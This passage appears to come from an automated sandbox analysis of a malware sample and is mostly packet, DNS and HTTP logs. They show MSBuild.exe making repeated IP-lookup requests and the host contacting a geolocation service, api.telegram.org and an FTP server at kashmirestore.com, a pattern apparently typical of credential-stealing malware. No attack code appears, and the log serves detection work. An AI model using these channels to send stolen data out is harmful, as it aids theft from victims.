Dec 14, 2024 13:50:18.964179993 CET	49757	443	192.168.2.6	172.67.177.134
Dec 14, 2024 13:50:18.964564085 CET	49757	443	192.168.2.6	172.67.177.134
Dec 14, 2024 13:50:18.968465090 CET	49753	80	192.168.2.6	132.226.247.73
Dec 14, 2024 13:50:18.969698906 CET	49759	80	192.168.2.6	132.226.247.73
Dec 14, 2024 13:50:19.067023993 CET	21	49758	119.18.54.39	192.168.2.6
Dec 14, 2024 13:50:19.067142010 CET	49758	21	192.168.2.6	119.18.54.39
Dec 14, 2024 13:50:19.069017887 CET	49758	21	192.168.2.6	119.18.54.39
Dec 14, 2024 13:50:19.088610888 CET	80	49753	132.226.247.73	192.168.2.6
Dec 14, 2024 13:50:19.088754892 CET	49753	80	192.168.2.6	132.226.247.73
Dec 14, 2024 13:50:19.089386940 CET	80	49759	132.226.247.73	192.168.2.6
Dec 14, 2024 13:50:19.089473009 CET	49759	80	192.168.2.6	132.226.247.73
Dec 14, 2024 13:50:19.089621067 CET	49759	80	192.168.2.6	132.226.247.73
Dec 14, 2024 13:50:19.188921928 CET	21	49758	119.18.54.39	192.168.2.6
Dec 14, 2024 13:50:19.188996077 CET	49758	21	192.168.2.6	119.18.54.39
Dec 14, 2024 13:50:19.210180998 CET	80	49759	132.226.247.73	192.168.2.6
Dec 14, 2024 13:50:20.581974030 CET	49760	21	192.168.2.6	119.18.54.39
Dec 14, 2024 13:50:20.702133894 CET	21	49760	119.18.54.39	192.168.2.6
Dec 14, 2024 13:50:20.702358007 CET	49760	21	192.168.2.6	119.18.54.39
Dec 14, 2024 13:50:20.702550888 CET	49760	21	192.168.2.6	119.18.54.39
Dec 14, 2024 13:50:20.822571039 CET	21	49760	119.18.54.39	192.168.2.6
Dec 14, 2024 13:50:20.822701931 CET	49760	21	192.168.2.6	119.18.54.39
Dec 14, 2024 13:50:22.347810984 CET	80	49759	132.226.247.73	192.168.2.6
Dec 14, 2024 13:50:22.349273920 CET	49763	443	192.168.2.6	172.67.177.134
Dec 14, 2024 13:50:22.349328041 CET	443	49763	172.67.177.134	192.168.2.6
Dec 14, 2024 13:50:22.349399090 CET	49763	443	192.168.2.6	172.67.177.134
Dec 14, 2024 13:50:22.349648952 CET	49763	443	192.168.2.6	172.67.177.134
Dec 14, 2024 13:50:22.349666119 CET	443	49763	172.67.177.134	192.168.2.6
Dec 14, 2024 13:50:22.391680956 CET	49759	80	192.168.2.6	132.226.247.73
Dec 14, 2024 13:50:23.566801071 CET	443	49763	172.67.177.134	192.168.2.6
Dec 14, 2024 13:50:23.568614006 CET	49763	443	192.168.2.6	172.67.177.134
Dec 14, 2024 13:50:23.568634033 CET	443	49763	172.67.177.134	192.168.2.6
Dec 14, 2024 13:50:24.188107014 CET	443	49763	172.67.177.134	192.168.2.6
Dec 14, 2024 13:50:24.188183069 CET	443	49763	172.67.177.134	192.168.2.6
Dec 14, 2024 13:50:24.188414097 CET	49763	443	192.168.2.6	172.67.177.134
Dec 14, 2024 13:50:24.189379930 CET	49763	443	192.168.2.6	172.67.177.134
Dec 14, 2024 13:50:24.193056107 CET	49759	80	192.168.2.6	132.226.247.73
Dec 14, 2024 13:50:24.194433928 CET	49764	80	192.168.2.6	132.226.247.73
Dec 14, 2024 13:50:24.312998056 CET	80	49759	132.226.247.73	192.168.2.6
Dec 14, 2024 13:50:24.313159943 CET	49759	80	192.168.2.6	132.226.247.73
Dec 14, 2024 13:50:24.314131021 CET	80	49764	132.226.247.73	192.168.2.6
Dec 14, 2024 13:50:24.314213991 CET	49764	80	192.168.2.6	132.226.247.73
Dec 14, 2024 13:50:24.314376116 CET	49764	80	192.168.2.6	132.226.247.73
Dec 14, 2024 13:50:24.434132099 CET	80	49764	132.226.247.73	192.168.2.6
Dec 14, 2024 13:50:25.618638039 CET	80	49764	132.226.247.73	192.168.2.6
Dec 14, 2024 13:50:25.636387110 CET	49765	443	192.168.2.6	172.67.177.134
Dec 14, 2024 13:50:25.636441946 CET	443	49765	172.67.177.134	192.168.2.6
Dec 14, 2024 13:50:25.636511087 CET	49765	443	192.168.2.6	172.67.177.134
Dec 14, 2024 13:50:25.636856079 CET	49765	443	192.168.2.6	172.67.177.134
Dec 14, 2024 13:50:25.636876106 CET	443	49765	172.67.177.134	192.168.2.6
Dec 14, 2024 13:50:25.672878981 CET	49764	80	192.168.2.6	132.226.247.73
Dec 14, 2024 13:50:26.850687981 CET	443	49765	172.67.177.134	192.168.2.6
Dec 14, 2024 13:50:26.854401112 CET	49765	443	192.168.2.6	172.67.177.134
Dec 14, 2024 13:50:26.854430914 CET	443	49765	172.67.177.134	192.168.2.6
Dec 14, 2024 13:50:27.298557997 CET	443	49765	172.67.177.134	192.168.2.6
Dec 14, 2024 13:50:27.298640966 CET	443	49765	172.67.177.134	192.168.2.6
Dec 14, 2024 13:50:27.298765898 CET	49765	443	192.168.2.6	172.67.177.134
Dec 14, 2024 13:50:27.299341917 CET	49765	443	192.168.2.6	172.67.177.134
Dec 14, 2024 13:50:27.302264929 CET	49764	80	192.168.2.6	132.226.247.73
Dec 14, 2024 13:50:27.303448915 CET	49766	80	192.168.2.6	132.226.247.73
Dec 14, 2024 13:50:27.423039913 CET	80	49764	132.226.247.73	192.168.2.6
Dec 14, 2024 13:50:27.423155069 CET	49764	80	192.168.2.6	132.226.247.73
Dec 14, 2024 13:50:27.423835993 CET	80	49766	132.226.247.73	192.168.2.6
Dec 14, 2024 13:50:27.425997019 CET	49766	80	192.168.2.6	132.226.247.73
Dec 14, 2024 13:50:27.426146030 CET	49766	80	192.168.2.6	132.226.247.73
Dec 14, 2024 13:50:27.546099901 CET	80	49766	132.226.247.73	192.168.2.6
Dec 14, 2024 13:50:28.729875088 CET	80	49766	132.226.247.73	192.168.2.6
Dec 14, 2024 13:50:28.740883112 CET	49767	443	192.168.2.6	172.67.177.134
Dec 14, 2024 13:50:28.740926981 CET	443	49767	172.67.177.134	192.168.2.6
Dec 14, 2024 13:50:28.740983963 CET	49767	443	192.168.2.6	172.67.177.134
Dec 14, 2024 13:50:28.741271019 CET	49767	443	192.168.2.6	172.67.177.134
Dec 14, 2024 13:50:28.741283894 CET	443	49767	172.67.177.134	192.168.2.6
Dec 14, 2024 13:50:28.782285929 CET	49766	80	192.168.2.6	132.226.247.73
Dec 14, 2024 13:50:29.958041906 CET	443	49767	172.67.177.134	192.168.2.6
Dec 14, 2024 13:50:29.959727049 CET	49767	443	192.168.2.6	172.67.177.134
Dec 14, 2024 13:50:29.959745884 CET	443	49767	172.67.177.134	192.168.2.6
Dec 14, 2024 13:50:30.404712915 CET	443	49767	172.67.177.134	192.168.2.6
Dec 14, 2024 13:50:30.404783964 CET	443	49767	172.67.177.134	192.168.2.6
Dec 14, 2024 13:50:30.405101061 CET	49767	443	192.168.2.6	172.67.177.134
Dec 14, 2024 13:50:30.405462980 CET	49767	443	192.168.2.6	172.67.177.134
Dec 14, 2024 13:50:30.415141106 CET	49766	80	192.168.2.6	132.226.247.73
Dec 14, 2024 13:50:30.416090012 CET	49768	443	192.168.2.6	149.154.167.220
Dec 14, 2024 13:50:30.416136026 CET	443	49768	149.154.167.220	192.168.2.6
Dec 14, 2024 13:50:30.416220903 CET	49768	443	192.168.2.6	149.154.167.220
Dec 14, 2024 13:50:30.416642904 CET	49768	443	192.168.2.6	149.154.167.220
Dec 14, 2024 13:50:30.416660070 CET	443	49768	149.154.167.220	192.168.2.6
Dec 14, 2024 13:50:30.535258055 CET	80	49766	132.226.247.73	192.168.2.6
Dec 14, 2024 13:50:30.535399914 CET	49766	80	192.168.2.6	132.226.247.73
Dec 14, 2024 13:50:31.785404921 CET	443	49768	149.154.167.220	192.168.2.6
Dec 14, 2024 13:50:31.785484076 CET	49768	443	192.168.2.6	149.154.167.220
Dec 14, 2024 13:50:31.786937952 CET	49768	443	192.168.2.6	149.154.167.220
Dec 14, 2024 13:50:31.786945105 CET	443	49768	149.154.167.220	192.168.2.6
Dec 14, 2024 13:50:31.787183046 CET	443	49768	149.154.167.220	192.168.2.6
Dec 14, 2024 13:50:31.788613081 CET	49768	443	192.168.2.6	149.154.167.220
Dec 14, 2024 13:50:31.835330009 CET	443	49768	149.154.167.220	192.168.2.6
Dec 14, 2024 13:50:32.299201965 CET	443	49768	149.154.167.220	192.168.2.6
Dec 14, 2024 13:50:32.299266100 CET	443	49768	149.154.167.220	192.168.2.6
Dec 14, 2024 13:50:32.299333096 CET	49768	443	192.168.2.6	149.154.167.220
Dec 14, 2024 13:50:32.301582098 CET	49768	443	192.168.2.6	149.154.167.220
Dec 14, 2024 13:50:37.454809904 CET	49740	80	192.168.2.6	193.122.6.168
Dec 14, 2024 13:50:39.129287958 CET	49770	21	192.168.2.6	119.18.54.39
Dec 14, 2024 13:50:39.249408960 CET	21	49770	119.18.54.39	192.168.2.6
Dec 14, 2024 13:50:39.249685049 CET	49770	21	192.168.2.6	119.18.54.39
Dec 14, 2024 13:50:39.250030041 CET	49770	21	192.168.2.6	119.18.54.39
Dec 14, 2024 13:50:39.369945049 CET	21	49770	119.18.54.39	192.168.2.6
Dec 14, 2024 13:50:39.370012999 CET	49770	21	192.168.2.6	119.18.54.39
Dec 14, 2024 13:51:01.550795078 CET	49708	80	192.168.2.6	199.232.210.172
Dec 14, 2024 13:51:01.550825119 CET	49706	443	192.168.2.6	20.190.181.4
Dec 14, 2024 13:51:01.731396914 CET	80	49708	199.232.210.172	192.168.2.6
Dec 14, 2024 13:51:01.731427908 CET	443	49706	20.190.181.4	192.168.2.6
Dec 14, 2024 13:51:01.731441021 CET	49708	80	192.168.2.6	199.232.210.172
Dec 14, 2024 13:51:01.731476068 CET	49706	443	192.168.2.6	20.190.181.4
Dec 14, 2024 13:51:02.673247099 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:51:02.793632984 CET	443	49707	13.107.246.63	192.168.2.6
Dec 14, 2024 13:51:02.795967102 CET	49707	443	192.168.2.6	13.107.246.63
Dec 14, 2024 13:51:07.767340899 CET	49711	443	192.168.2.6	20.190.181.4
Dec 14, 2024 13:51:07.887731075 CET	443	49711	20.190.181.4	192.168.2.6
Dec 14, 2024 13:51:07.887857914 CET	49711	443	192.168.2.6	20.190.181.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 14, 2024 13:49:36.086127043 CET	53023	53	192.168.2.6	1.1.1.1
Dec 14, 2024 13:49:36.224576950 CET	53	53023	1.1.1.1	192.168.2.6
Dec 14, 2024 13:49:38.007072926 CET	65113	53	192.168.2.6	1.1.1.1
Dec 14, 2024 13:49:38.469408035 CET	53	65113	1.1.1.1	192.168.2.6
Dec 14, 2024 13:49:42.295229912 CET	63418	53	192.168.2.6	1.1.1.1
Dec 14, 2024 13:49:42.437077999 CET	53	63418	1.1.1.1	192.168.2.6
Dec 14, 2024 13:50:06.783317089 CET	64463	53	192.168.2.6	1.1.1.1
Dec 14, 2024 13:50:06.920958042 CET	53	64463	1.1.1.1	192.168.2.6
Dec 14, 2024 13:50:10.816241980 CET	59178	53	192.168.2.6	1.1.1.1
Dec 14, 2024 13:50:10.953824997 CET	53	59178	1.1.1.1	192.168.2.6
Dec 14, 2024 13:50:18.197474003 CET	60510	53	192.168.2.6	1.1.1.1
Dec 14, 2024 13:50:18.946362972 CET	53	60510	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 14, 2024 13:49:36.086127043 CET	192.168.2.6	1.1.1.1	0xbb37	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Dec 14, 2024 13:49:38.007072926 CET	192.168.2.6	1.1.1.1	0x86e3	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Dec 14, 2024 13:49:42.295229912 CET	192.168.2.6	1.1.1.1	0x74d9	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Dec 14, 2024 13:50:06.783317089 CET	192.168.2.6	1.1.1.1	0x179b	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Dec 14, 2024 13:50:10.816241980 CET	192.168.2.6	1.1.1.1	0x837a	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false
Dec 14, 2024 13:50:18.197474003 CET	192.168.2.6	1.1.1.1	0x87f1	Standard query (0)	kashmirestore.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 14, 2024 13:49:36.224576950 CET	1.1.1.1	192.168.2.6	0xbb37	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 14, 2024 13:49:36.224576950 CET	1.1.1.1	192.168.2.6	0xbb37	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Dec 14, 2024 13:49:36.224576950 CET	1.1.1.1	192.168.2.6	0xbb37	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Dec 14, 2024 13:49:36.224576950 CET	1.1.1.1	192.168.2.6	0xbb37	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Dec 14, 2024 13:49:36.224576950 CET	1.1.1.1	192.168.2.6	0xbb37	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Dec 14, 2024 13:49:36.224576950 CET	1.1.1.1	192.168.2.6	0xbb37	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Dec 14, 2024 13:49:38.469408035 CET	1.1.1.1	192.168.2.6	0x86e3	No error (0)	reallyfreegeoip.org		172.67.177.134	A (IP address)	IN (0x0001)	false
Dec 14, 2024 13:49:38.469408035 CET	1.1.1.1	192.168.2.6	0x86e3	No error (0)	reallyfreegeoip.org		104.21.67.152	A (IP address)	IN (0x0001)	false
Dec 14, 2024 13:49:42.437077999 CET	1.1.1.1	192.168.2.6	0x74d9	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 14, 2024 13:49:42.437077999 CET	1.1.1.1	192.168.2.6	0x74d9	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Dec 14, 2024 13:49:42.437077999 CET	1.1.1.1	192.168.2.6	0x74d9	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Dec 14, 2024 13:49:42.437077999 CET	1.1.1.1	192.168.2.6	0x74d9	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Dec 14, 2024 13:49:42.437077999 CET	1.1.1.1	192.168.2.6	0x74d9	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Dec 14, 2024 13:49:42.437077999 CET	1.1.1.1	192.168.2.6	0x74d9	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Dec 14, 2024 13:49:44.302066088 CET	1.1.1.1	192.168.2.6	0x66f1	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Dec 14, 2024 13:49:44.302066088 CET	1.1.1.1	192.168.2.6	0x66f1	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Dec 14, 2024 13:49:45.989290953 CET	1.1.1.1	192.168.2.6	0xb400	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 14, 2024 13:49:45.989290953 CET	1.1.1.1	192.168.2.6	0xb400	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Dec 14, 2024 13:50:06.920958042 CET	1.1.1.1	192.168.2.6	0x179b	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 14, 2024 13:50:06.920958042 CET	1.1.1.1	192.168.2.6	0x179b	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Dec 14, 2024 13:50:06.920958042 CET	1.1.1.1	192.168.2.6	0x179b	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Dec 14, 2024 13:50:06.920958042 CET	1.1.1.1	192.168.2.6	0x179b	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Dec 14, 2024 13:50:06.920958042 CET	1.1.1.1	192.168.2.6	0x179b	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Dec 14, 2024 13:50:06.920958042 CET	1.1.1.1	192.168.2.6	0x179b	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Dec 14, 2024 13:50:10.953824997 CET	1.1.1.1	192.168.2.6	0x837a	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false
Dec 14, 2024 13:50:18.946362972 CET	1.1.1.1	192.168.2.6	0x87f1	No error (0)	kashmirestore.com		119.18.54.39	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

reallyfreegeoip.org

api.telegram.org

checkip.dyndns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49719	158.101.44.242	80	7252	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 13:49:36.361257076 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 14, 2024 13:49:37.567213058 CET	321	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 12:49:37 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 43db8d738f85099c11fec4e2458b9065 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Dec 14, 2024 13:49:37.580169916 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Dec 14, 2024 13:49:37.955250025 CET	321	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 12:49:37 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: f8be8b6efacb699b65355ac5b401d17f Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Dec 14, 2024 13:49:40.240894079 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Dec 14, 2024 13:49:40.614959002 CET	321	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 12:49:40 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 91d195408e7ae871bfebc16f073d4772 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49724	193.122.6.168	80	7252	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 13:49:42.558427095 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Dec 14, 2024 13:49:44.061372995 CET	321	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 12:49:43 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 6aac2b039c1129c97eb60100502e63fe Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Dec 14, 2024 13:49:44.206047058 CET	321	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 12:49:43 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 6aac2b039c1129c97eb60100502e63fe Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49728	193.122.6.168	80	7252	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 13:49:45.855396032 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 14, 2024 13:49:47.121812105 CET	321	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 12:49:46 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: c9e1a81dc6895e7301d78cb8daf10ac4 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49731	193.122.6.168	80	7704	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 13:49:47.938636065 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 14, 2024 13:49:49.209090948 CET	321	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 12:49:49 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: ea33582956fe39a8962f3b4afb72ff3e Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Dec 14, 2024 13:49:49.212517023 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Dec 14, 2024 13:49:49.619646072 CET	321	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 12:49:49 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: d6a9455bd1f2d41059462e2dacc999b3 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Dec 14, 2024 13:49:51.326878071 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Dec 14, 2024 13:49:51.734481096 CET	321	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 12:49:51 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 4152cb77e6e2783429c5c4ae319ebf74 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49733	193.122.6.168	80	7252	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 13:49:48.932734013 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 14, 2024 13:49:50.199438095 CET	321	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 12:49:50 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: ef77f7d22b53accff2f961fd970c8e1b Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49737	193.122.6.168	80	7252	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 13:49:51.993699074 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
